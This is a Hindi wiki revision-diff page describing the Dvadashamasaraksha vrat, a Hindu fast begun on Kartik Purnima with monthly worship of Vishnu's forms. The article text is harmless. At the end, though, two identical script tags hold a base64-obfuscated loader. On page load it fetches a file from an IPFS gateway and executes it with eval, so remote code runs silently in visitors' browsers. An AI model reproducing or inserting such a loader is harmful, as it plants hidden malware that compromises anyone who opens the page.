"द्वादशमासरक्ष व्रत": अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:नेविगेशन, खोजें
छो (द्वादशमासरक्षव्रत का नाम बदलकर द्वादशमासरक्ष व्रत कर दिया गया है)
No edit summary
 
(2 सदस्यों द्वारा किए गए बीच के 3 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है।
*[[कृतिका नक्षत्र]] में पड़ने वाली [[कार्तिक पूर्णिमा]] को यह व्रत प्रारम्भ होता है।
*[[कृतिका नक्षत्र]] में पड़ने वाली [[कार्तिक पूर्णिमा]] को यह व्रत प्रारम्भ होता है।
*इस व्रत में नरसिंह भगवान का पूजन होता है।
*इस व्रत में नरसिंह भगवान का पूजन होता है।
पंक्ति 5: पंक्ति 5:
*मार्गशीर्ष की मृगशिरा-नक्षत्रयुक्त पूर्णिमा को राम की पूजा की जाती है।
*मार्गशीर्ष की मृगशिरा-नक्षत्रयुक्त पूर्णिमा को राम की पूजा की जाती है।
*पुष्पयुक्त पौष पूर्णिमा को बलराम पूजन, माघी एवं मघी में वराह पूजन, फाल्गुनी एवं फाल्गुनियों (नक्षत्रों) में नर एवं नारायण की पूजा आदि और यह क्रम श्रावण पूर्णिमा तक चलता है।<ref>विष्णुधर्मोत्तरपुराण (3|214|1-26)।</ref>
*पुष्पयुक्त पौष पूर्णिमा को बलराम पूजन, माघी एवं मघी में वराह पूजन, फाल्गुनी एवं फाल्गुनियों (नक्षत्रों) में नर एवं नारायण की पूजा आदि और यह क्रम श्रावण पूर्णिमा तक चलता है।<ref>विष्णुधर्मोत्तरपुराण (3|214|1-26)।</ref>
 
{{प्रचार}}
{{लेख प्रगति
{{संदर्भ ग्रंथ}}
|आधार=आधार1
|प्रारम्भिक=
|माध्यमिक=
|पूर्णता=
|शोध=
}}
==टीका टिप्पणी और संदर्भ==
==टीका टिप्पणी और संदर्भ==
<references/>
<references/>

12:06, 15 जून 2011 के समय का अवतरण

  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • कृतिका नक्षत्र में पड़ने वाली कार्तिक पूर्णिमा को यह व्रत प्रारम्भ होता है।
  • इस व्रत में नरसिंह भगवान का पूजन होता है।
  • ब्राह्मण को चन्दन एवं तगर पुष्पों का दान दिया जाता है।
  • मार्गशीर्ष की मृगशिरा-नक्षत्रयुक्त पूर्णिमा को राम की पूजा की जाती है।
  • पुष्पयुक्त पौष पूर्णिमा को बलराम पूजन, माघी एवं मघी में वराह पूजन, फाल्गुनी एवं फाल्गुनियों (नक्षत्रों) में नर एवं नारायण की पूजा आदि और यह क्रम श्रावण पूर्णिमा तक चलता है।[1]


टीका टिप्पणी और संदर्भ

  1. विष्णुधर्मोत्तरपुराण (3|214|1-26)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>